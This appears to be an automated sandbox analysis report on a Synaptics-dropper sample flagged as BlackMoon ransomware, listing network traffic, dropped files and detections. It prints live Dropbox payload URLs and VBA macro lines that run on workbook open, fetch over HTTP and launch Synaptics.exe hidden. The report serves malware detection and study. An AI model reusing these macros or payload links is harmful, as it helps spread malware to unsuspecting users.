Source: svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900

Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49904 version: TLS 1.2

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB7787E GetKeyboardState,

17_2_0BB7787E

Spam, unwanted Advertisements and Ransom Demands

Yara detected BlackMoon Ransomware

Source: Yara match	File source: 00000011.00000002.3860099169.000000000FBA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C2485384.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen

Detected VMProtect packer

Source: 5C55qqtun.dll.17.dr

Static PE information: .vmp0 and .vmp1 section names

Document contains an embedded VBA macro with suspicious strings

Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: ntiuY44s.xlsm.12.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: GLTYDMDUST.xlsm.12.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: ntiuY44s.xlsm.12.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: GLTYDMDUST.xlsm.12.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: ntiuY44s.xlsm.12.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: GLTYDMDUST.xlsm.12.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

PE file has a writeable .text section

Source: E9A1EEE73.dll.17.dr

Static PE information: Section: .text IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Program Files (x86)\Google\C2485384.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\._cache_3.exe	Memory allocated: 778A0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory allocated: 77090000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory allocated: 778A0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory allocated: 77090000 page execute and read and write	Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB7773E NtdllDefWindowProc_A,

17_2_0BB7773E

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB772BE: DeviceIoControl,

17_2_0BB772BE

Source: C:\Program Files (x86)\Google\C2485384.exe

File created: C:\Windows\SysWOW64\A0A461yPs.sys

Jump to behavior

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0A461yPs.sys	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\C2485384.sys	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\7361p1CQa.sys	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0E0ohaVQ.sys	Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

Registry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Privacy

Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

File deleted: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB780F4	17_2_0BB780F4
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC93EA3	17_2_0BC93EA3
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC55D30	17_2_0BC55D30
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6251B440	17_2_6251B440
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_62564211	17_2_62564211
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_625262F0	17_2_625262F0
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6255828E	17_2_6255828E
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_62554288	17_2_62554288
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_62552310	17_2_62552310
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6255465C	17_2_6255465C
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_62564755	17_2_62564755
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_62554A68	17_2_62554A68
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6251CA10	17_2_6251CA10
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6251EAE0	17_2_6251EAE0
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6253AB00	17_2_6253AB00

Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: ntiuY44s.xlsm.12.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: GLTYDMDUST.xlsm.12.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\Google\C2485384.exe A0C15F709E1B80E93A61CBA414E266097DC8C23A7E8DE2B6DBE825CA2952DF7E

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: String function: 62555434 appears 32 times
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: String function: 0BB74C5C appears 77 times
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: String function: 62553A92 appears 39 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7476 -ip 7476

Source: 3.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 3.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXA074.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: q67hQckB.exe.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCX6C69.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RCX6C69.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCX7023.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RCX7023.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: DB84ibYaX.dll.17.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FB0C75zus.dll.17.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
